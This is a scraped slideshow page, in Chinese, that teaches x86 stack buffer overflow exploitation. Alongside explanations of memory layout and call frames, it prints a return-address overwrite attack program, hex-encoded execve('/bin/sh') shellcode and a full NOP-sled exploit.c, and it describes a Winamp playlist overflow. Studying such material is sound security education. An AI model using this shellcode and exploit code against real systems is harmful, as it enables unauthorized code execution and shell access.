buffer overflow instruction
Download
Skip this Video
Download Presentation
Buffer Overflow Instruction

Loading in 2 Seconds...

play fullscreen
1 / 33

Buffer Overflow Instruction - PowerPoint PPT Presentation


  • 247 Views
  • Uploaded on

Buffer Overflow Instruction. Enijmax 2003/06. Buffer Overflow 簡介. 什麼是 buffer overflow? 通常是程式設計師在程式中沒有檢查 buffer 的邊界而造成程式在執行時可以寫超過 buffer 的大小,進而造成系統安全上的問題。 Ex: 以下程式是最典型具有 buffer overflow 漏洞的程式: void main() { char buf[1024]; gets(buf); }. Buffer Overflow 造成的影響.

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about ' Buffer Overflow Instruction' - calix


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript
buffer overflow
Buffer Overflow簡介
  • 什麼是buffer overflow?
    • 通常是程式設計師在程式中沒有檢查buffer的邊界而造成程式在執行時可以寫超過buffer的大小,進而造成系統安全上的問題。
    • Ex:以下程式是最典型具有buffer overflow漏洞的程式:

void main()

{

char buf[1024];

gets(buf);

}

buffer overflow1
Buffer Overflow造成的影響
  • 若有一個buffer位址的後面,有一個變數是管理權限的,就可以利用該buffer來覆蓋到其後的變數,進而造成安全上的問題。
  • 要避免這種問題:程式設計者要小心檢查buffer的邊界,或是使用較安全的系統函式(ex:strncpy)來取代原本不安全的函式,甚至不要使用c或c++這種沒有檢查buffer邊界的語言,而改用java等更高階的語言,或是使用靜態的工具來掃描程式是否有buffer overflow的漏洞(splint,mpr,its4…),或是使用動態保護(efence ,smashStade)或是IDS。
slide4
程式記憶體位址的配置
  • Heap:程式中動態配置記憶體所用的記憶體空間。
  • Stack:用來存放function return address和function的local variables(包括參數)及保存暫存器值的記憶體空間。
  • BSS(block storage segment):用來存放程式中未初始化的全域變數的空間。
  • Data Segment:用來存放已初始化的全域變數
  • Text Segment:用來存放程式碼(固定不變的部分)。
  • 最後兩塊記憶體大小在程式執行前就固定了。
slide5
記憶體位址圖解
  • 最上層的是kernel memory,一般的user prog看不到
  • 第二層是user stack,是自動配置給function的,用來存放參數、區域變數和return address
  • 第三層用來存放share library以及memory mapped file
  • 第四層存放動態配置記憶體
  • 第五、第六層是存放全域變數和程式碼。
buffer overflow2
Buffer Overflow的種類
  • Stack Overflow:
    • 經由設定過長的資料來造成stack中buffer的overflow,主要造成的問題是return addr若被更改,對方就可以把return addr指向他人植入的程式碼,當目前的函式執行完畢時,就會跳去執行植入的程式碼。
  • Heap Overflow:
    • 通常要和stack overflow來配合,入侵者會把程式碼放在heap中,再利用stack overflow來改寫return addr,把它指向heap。
  • 除了return address外,可供利用的overflow對象還包括function pointer(c++中的virtual function table)以及setjmp,longjmp的buffer
stack x86
Stack的特性(x86平台)
  • 會隨著程式而增減,並且是由高位址長向低位址。
  • 依照下列順序來存放各個資料

High address

Parameter to the function(存放函式參數)

The return address(存放回傳位址)

The old base pointer(存放其呼叫函式的stack frame 位址)

local variables(先宣告的變數放在較高位址)

Low address

  • Intel CPU based的機器其資料儲存的方式為little endian,例:12(0x00000c)會存放成以下狀況

0xbffffa94: 0xc(12)0xbffffa95: 0x00xbffffa96: 0x00xbffffa97: 0x0

High

依序往高位址放

固定長度為4bytes

固定長度為4bytes

依序往低位址放

Low

heap x86
Heap的特性(x86平台)
  • 會隨著程式而增減,但是是由低位址長向高位址。
  • 範例:
    • void main() {
    • char *str = (char *)malloc(sizeof(char)*4);
    • char *super_user =(char *)malloc(sizeof(char)*4);
    • printf(“addr of str:%p\n”,str);
    • printf(“addr of super_user:%p\n”,super_user);
    • }

執行結果:

addr of str: 0x80496c0

addr of super_user: 0x80496d0

slide9
程式範例
  • 範例程式碼:
    • int main(int argc,char **argv);
    • void concat_arguments(int argc, char **argv) {
    • char buf[20];
    • char *p = buf;
    • int i;
    • }
    • int main(int argc, char **argv) {
    • concat_arguments(argc, argv);
    • }
  • Assembly code

concat_arguments:

pushl %ebp

movl %esp, %ebp

subl $56, %esp

leal -40(%ebp), %eax

movl %eax, -44(%ebp)

leave

ret

High

argument

Return

address

%ebp

ebp,esp

?

40

buf

56

P

i

esp

Low

stack cpu
和stack相關的CPU暫存器
  • Segment Registers
    • Stack Segment:指向整個stack的頂端。
  • Index Registers
    • Base pointer:指向stack中正在執行的function stack 的 base location(存放在old base pointer的地方),在呼叫函式時會改變。
    • Stack Pointer:記錄現在要讀取的var的offset,必須要和ss一起用才能正確指到資料的位址。

high

ss

Stack

esp

Func stack

ebp

low

slide11
呼叫函式時的動作
  • Caller將callee的參數push到stack中(此時sp會隨之改變)
  • Caller執行call指令,call指令做兩件事:
    • 把return address push 到 stack中
    • 把program counter指向function code address
  • 在callee中,會把base pointer push到stack中,並且copy sp的內容到bp中(ex:movl %esp %ebp)。
  • 保留原始的register到stack中。
  • 保留足夠的空間給local variables。
  • function執行過程。
  • 當函式要return回caller去執行時:
    • callee把sp指向return address(call指令幫我們push進來的)。
    • Callee執行ret指令,將執行權丟回caller(把program counter指向return address)。
  • Caller調整sp到old bp存放的位址。
  • Caller會把base pointer由stack中pop出來,回復到之前的狀況。
buffer overflow exploit
製作buffer overflow exploit的步驟
  • 先找出目標程式中可以overflow的buffer。
  • 確定buffer被蓋掉之後到return之前不會再被更改。
  • 先分析buffer的位址(stack的位址)。
  • 撰寫攻擊程式
    • Overflow buffer 導致程式入無窮迴圈。
    • 植入attackCode到buffer中。
overflow
一個overflow的實例
  • 目的:
    • 讓目標程式可以執行本身函式無限次!
  • 目標程式:
  • //progWithBO.c
  • void concat_arguments(int argc, char **argv)
  • {
  • char buf[20];
  • char *p=buf;
  • int i;
  • char *tmp;
  • for (i = 1; i < argc; i++) {
  • strcpy(p, argv[i]);
  • p += strlen(argv[i]);
  • if (i + 1 != argc) {
  • *p++ = \' \';
  • }
  • }
  • }
  • int main(int argc, char **argv)
  • {
  • concat_arguments(argc, argv);
  • return (0);
  • }
overflow1
一個overflow的實例
  • 拿到上面的目標程式後,要先做以下兩件事:
    • 分析function address

為了讓程式不斷地跳入concat_arguments函式中,必需得到該函式的記憶體位址。在目標程式中加入一行:printf(“concat_argument:%p\n”,concat_arguments);重新compile並執行目標程式即可得到函式位址了。要注意的是,我們增加程式碼並不會影響到function address,且每次執行的時候function address都一樣。

註:也可以使用gdb來得到function address

    • 分析stack記憶體空間

攻擊者必須還要找出buffer距return address的距離,如此才能正

地將function address覆蓋到return address的空間中。

該程式中會在最後加上一個0x32(空白字元),若我們不想讓它去改到

argc的值,就要

overflow2
一個overflow的實例
  • 程式碼:
  • //attackProg.c
  • #include <stdio.h>
  • int main() {
  • char *buf = (char *)malloc(sizeof(char)*1024);
  • char **arr = (char **)malloc(sizeof(char *)*3);
  • int i;
  • for (i=0;i<44;i++) //將buffer用‘x’去填滿它,順便蓋過中間一些無用的資料
  • buf[i]=\'x\';
  • buf[44] = 0xc8; //寫入return address
  • buf[45] = 0x83; //寫入return address
  • buf[46] = 0x4; //寫入return address
  • buf[47] = 0x8; //寫入return address
  • buf[48] = 0x2; //寫入參數(否則的話會被放入空白)
  • buf[49] = 0x0; //寫入參數
  • arr[0] = “./Q1”; //要執行的程式
  • arr[1] = buf; //參數一
  • arr[2] = 0x00; //null
  • execv("./Q1s",arr);
  • }
overflow3
一個overflow的實例
  • 問題:將上兩個程式碼分別編譯過,執行AttackProg.c來攻擊progwithBO.c程式,理論上目標程式應該會進入無窮迴圈,但是事實上並沒有,反而在進入函式兩次後出現Segmentation fault。
  • 原因:因為第二次進入函式時,我們並沒有執行caller應該做的事情,其中最重要的就是沒有做return address到stack上的這一個步驟,以致於接下來的pushl %ebp會將old bp寫在原來return address的地方,新的bp也會比上一次呼叫來得高了4個bytes,在strcpy後,覆蓋在return address的資料會變成“xxxx”,以致於再次return時會產生segmentation fault。
overflow4
一個overflow的實例
  • 解決方法:
    • 把return address用call function的address來填充。
  • 取得call function address
    • 在progwithBO.c code中加入printf(“%p”,concat_arguments);
    • 先編譯取得assembly code(gcc –c –S –masm=intel Q1.c),產生出.s
    • 將Q1.s中的code做以下修改:

1. Call concat_arguments -> .JMP_ADDR: call concat_arguments

2. pushl $concat_arguments -> pushl $.JMP_ADDR

1.是新增一個標籤,其指向call concat_arguments的位址。

2.將原本印出concat_arguments的位址的printf改成印出call 的位址。

    • 編譯Q1.s(gcc Q1.s –o Q1)
    • 執行Q1,就可以看到程式印出call concat_arguments的位址。
  • Note:也可以用gdb直接取得該位址。
overflow5
一個overflow的實例
  • 得到call concat_arguments的位址後,改寫攻擊程式,把return address改成call concat_arguments的位址。
  • 重新執行攻擊程式,就會看到函式呼叫一直loop執行了。
  • 現在已經可以把程式跳向任何你想要的位址。
slide19
製作一個攻擊程式
  • 入侵者將攻擊程式放入記憶體中,並且設計讓被攻擊的程式時,不知不覺地執行到該攻擊程式。
  • 通常攻擊程式是一個會取得shell控制權的程式,它的樣子如下:

//exploit.c

void main()

{

char *s[2];

s[0] = “/bin/sh”;

s[1] = 0x00;

execve(s[0],s,NULL);

}

  • 該程式執行完畢後,會得到該系統的shell,此時入侵者就可以執行任意想要執行的指令了。
binary code
攻擊程式的binary code
  • 由於攻擊程式必須藉由overflow buffer來植入,因此需要binary code
  • gcc –static exploit.c –o exploit
  • (gdb)gdb exploit
  • (gdb)disas execve
  • gdb will show the assembly code, and we have to remove or add some code to satisfy our goal.
  • execve system call needs four arguments:
    • eax:System call ID 0xb
    • ebx:Prog’s path and filename(null terminated)
    • ecx:address of array arguments(zero terminated)
    • edx:address of environment string
binary code cont
攻擊程式的binary code(cont.)
  • 因此我們需要特別將資料的存放重新設計在攻擊程式碼中。
    • 在記憶體中必需有執行程式字串“/bin/sh”,且字串以null 結束。
    • 必需有一個陣列儲存程式字串和參數,並且以0x0結尾,而我們必需知道其位址並copy到ecx中。
    • Copy 0xb 到 eax 中。
    • Copy “/bin/sh”字串的位址放到ebx
    • Copy NULL(0x0)放到edx 中。
    • 執行int 0x80
    • 若execve執行失敗,則跳出程式(exit),避免產生core dump。
binary code cont1
攻擊程式的binary code(cont.)
  • execve assembly code

0x0804da00 <execve+0>: push %ebp -> 備分base pointer

0x0804da01 <execve+1>: mov $0x0,%eax -> 初始化eax

0x0804da06 <execve+6>: mov %esp,%ebp -> 更新base pointer為stack pointer的內容

0x0804da08 <execve+8>: test %eax,%eax -> 就是xorl %eax,%eax

0x0804da0a <execve+10>: push %edi -> 備分edi

0x0804da0b <execve+11>: push %ebx -> 備分ebx

0x0804da0c <execve+12>: mov 0x8(%ebp),%edi ->放入“/bin/sh”的address到di register中

0x0804da0f <execve+15>: je 0x804da16 <execve+22> -> 未知

0x0804da11 <execve+17>: call 0x0 -> 未知

0x0804da16 <execve+22>: mov 0xc(%ebp),%ecx -> 放入address of arg array到ecx

0x0804da19 <execve+25>: mov 0x10(%ebp),%edx -> 放入null的address

0x0804da1c <execve+28>: push %ebx -> 備分ebx

0x0804da1d <execve+29>: mov %edi,%ebx ->把di存的放到bx中

0x0804da1f <execve+31>: mov $0xb,%eax -> 放入system call id到ax中

0x0804da24 <execve+36>: int $0x80 -> 執行system call

binary code cont2
攻擊程式的binary code(cont.)
  • 上述程式改成如下的組語程式:

00 jmp 0x26 ->執行26 bytes後的call敘述

02 pop %esi ->把string address pop出來

03 mov %esi,0x8(%esi) ->s[0],代表字串

06 mov 0x0, 0x7(%esi) ->s[1],代表null

0a mov 0x0,0xc(%esi) ->s[2],以0做array的結尾

11 mov 0xb,%eax ->放入system call ID 0xb到eax中

16 mov %esi,$ebx ->放入字串的address到ebx中

18 leal 0x8(%esi),%ecx ->放入參數array的address

1b leal 0xc(%esi),%edx ->放入null值的address

1e Int 0x80 ->執行execve

20 mov 0x1,%eax ->eax放入0x1(exit的system call id)

25 mov 0x0,%ebx ->ebx放入0x0

2a int 0x80 ->執行exit

2c call –0x2b ->把string address push到stack中並到第2行執行

31 .string \”/bin/sh\” ->必需字串

/bin/sh\0

address

\0

binary code cont3
攻擊程式的binary code(cont.)
  • 編譯該組語語法程式,並使用gdb取得hex code如下:

“\xeb\e2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00”

“\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80”

“\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff”

“\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3”

  • 以上程式碼並沒有錯誤,但是其中有許多null bytes,許多處理字串的函式都會把null bytes當做字串的結束符號,故我們需要移除null bytes,以其他的指令取代會產生null的指令。

movb 0x0, 0x7(%esi) -> xorl %eax,%eax

movl 0x0,0xc(%esi) -> movl %eax,0x7(%esi)

-> movl %eax,0xc(%esi)

movl 0xb,%eax -> movb 0xb,%al

movl 0x1,%eax -> xorl %ebx,%ebx

movl 0x0,%ebx -> movl %ebx,%eax

-> inc %eax

binary code cont4
攻擊程式的binary code(cont.)
  • 修改後的程式碼(共46bytes):

00 jmp 0x1f ->\xeb\x1f

02 popl %esi ->\x5e

03 movl %esi,0x8(%esi) ->\x89\x76\x08

06 xorl %eax,%eax ->\x31\xc0

08 movb %eax,0x7(%esi) ->\x88\x46\x07

0b movl %eax,0xc(%esi) ->\x89\x46\x0c

0e movb $0xb,%al ->\xb0\x0b

10 movl %esi,%ebx ->\x89\xf3

12 leal 0x8(%esi),%ecx ->\x8d\x4e\x08

15 leal 0xc(%esi),%edx ->\x8d\x56\x0c

18 int $0x80 ->\xcd\x80

1a xorl %ebx,%ebx ->\x31\xdb

1c movl %ebx,%eax ->\x89\xd8

1e inc %eax ->\x40

1f int $0x80 ->\xcd\x80

21 call -0x24 ->\xe8\xdc\xff\xff\xff

26 .string \"/bin/sh\“ ->/bin/sh

stack
取得stack位址

ret

bsize

Buffer

  • 放攻擊程式要注意的事項:
    • 攻擊程式必須是buffer中的一部分,以便計算buffer的起始位址,但不可以蓋掉return address。
    • 必須要把return address就是buffer的起始位址。
  • 要將return address指向buffer的開端,必須要先找出一個reference的位址,而stack pointer所指向的位址對於每個程式來說想差有限,最適合來做參考位址,以下函式可以用來取得esp的值。

unsigned long get_sp(void) {

__asm__(“movl %esp,%eax”);

}

  • 由於每次執行stack pointer都不一樣,也沒有辦法拿到目標程式執行中的stack pointer,所以只能用隨機的offset值和reference的位址來猜測buffer的起點。
slide27
加入NOP指令
  • NOP是什麼?
    • NOP是一個processor的指令,是代表所謂的空指令,也就是說processor看到它就什麼都不做,直接執行下一行。
  • 為何要在buffer之前加入數個NOP指令?
    • 若沒有NOP,指令,return address必須精準地指到buffer的開端。為了方便起見,我們加入數個NOP指令在真正的程式之前,return address只要指向其中一個NOP指令即可,它都會執行到後面真正的code。

NOP

exploit code

ret

sample
Sample
  • 這是目標(被攻擊)程式(vulnerable.c):
  • #include<string.h>
  • int main(int argc,int **argv)
  • {
  • char buffer[512];
  • if(argc>1)
  • {
  • strcpy(buffer,argv[1]);
  • }
  • }
sample cont
Sample (Cont.)
  • 這是我們撰寫的攻擊程式(exploit.c):
  • #include <stdlib.h>
  • #include <unistd.h>
  • #define DEFAULT_OFFSET 0 /*offset from stack pointer*/
  • #define DEFAULT_BUFFER_SIZE 512 /*buffer size*/
  • #define NOP 0x90 /*NOP instruction*/
  • char shellcode[]=
  • "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3“
  • "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff“
  • " \xff\xff/bin/sh";
  • unsigned long get_sp(void) { /*function to get esp values*/
  • __asm__("movl %esp,%eax");
  • }
sample cont1
Sample (Cont.)
  • int main(int argc,char **argv)
  • {
  • char *buff , *ptr;
  • long *addr_ptr, addr;
  • int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
  • int i;
  • if (argc > 1)
  • bsize = atoi(argv[1]);
  • if (argc > 2)
  • offset = atoi(argv[2]);
  • if (!(buff = (char *)malloc(bsize))) {
  • printf("can\'t allocate memory\n");
  • exit(0);
  • }
  • addr = get_sp() - offset; /*set buffer start address*/
  • printf("Using address:0x%x\n",addr);
  • ptr = buff;
  • addr_ptr = (long *)ptr;

ret

ret

ret

ret

ret

Shell

Code

46 bytes

bsize

NOP

NOP

NOP

NOP

NOP

sample cont2
Sample (Cont.)
  • for (i=0;i<bsize;i+=4) //fill the buffer with buff address
  • *(addr_ptr++) = addr;
  • for (i=0;i<bsize/2;i++) //fill NOP instruction in the half front of the buffer
  • buff[i] = NOP;
  • ptr = buff + (bsize/2) - (strlen(shellcode)/2);
  • for (i=0;i<strlen(shellcode);i++)
  • *(ptr++) = shellcode[i]; /*copy shell code into buffer*/
  • buff[bsize-1] = \'\0\'; /*add null terminated symbol*/
  • s[0]="./vulnerable1";
  • s[1]=buff;
  • s[2]=0x00;
  • printf("call vulerable1 program:\n");
  • execve(s[0],s,NULL); /*execute target program with designed buffer*/
  • }
sample cont3
Sample (Cont.)
  • 執行./exploit <bufferSize> <offset>後,它會先設定好buffer,再呼叫execve去執行vulnerable,並餵給設定完成的buffer。
    • bufferSize : 通常設定比目標程式中的buffer大100bytes,以確保可以蓋到return address。
    • offset : 是一個隨機猜測buffer位址的參數,一般大約在+-1000之間。
  • 若可以順利取得shell的話,表示攻擊程式達到我們的要求了;若否,表示我們製做的buffer太長或是太短了,太長的buffer會去蓋到別人的stack,作業系統會產生segment fault,太短會沒有蓋到return address,目標程式就會正常結束。
winamp windows xp buffer overflow
Winamp在windows XP上的buffer overflow
  • 在winamp 3.0 final和winamp 2.81中,可以使用.b4s來製造buffer overflow。
  • 以下是b4s檔案的樣子:

<?xml version="1.0" encoding=\'UTF-8\' standalone="yes"?>

<WinampXML>

<!-- Generated by: Nullsoft Winamp3 version 3.0 -->

<playlist num_entries="[number_of_entries]" label="[playlist_name]"> #(1)

#first entry

<entry Playstring="file:[patch_to_file]">

<Name>[name_of_the_song]</Name>

<Length>[file_size_in_byts]</Lengt>

</entry>

#end of first entry

</playlist>

</WinampXML>

  • 若[playlist_name]大於16580b,則ecx,esi和return address都會被overwrite。
ad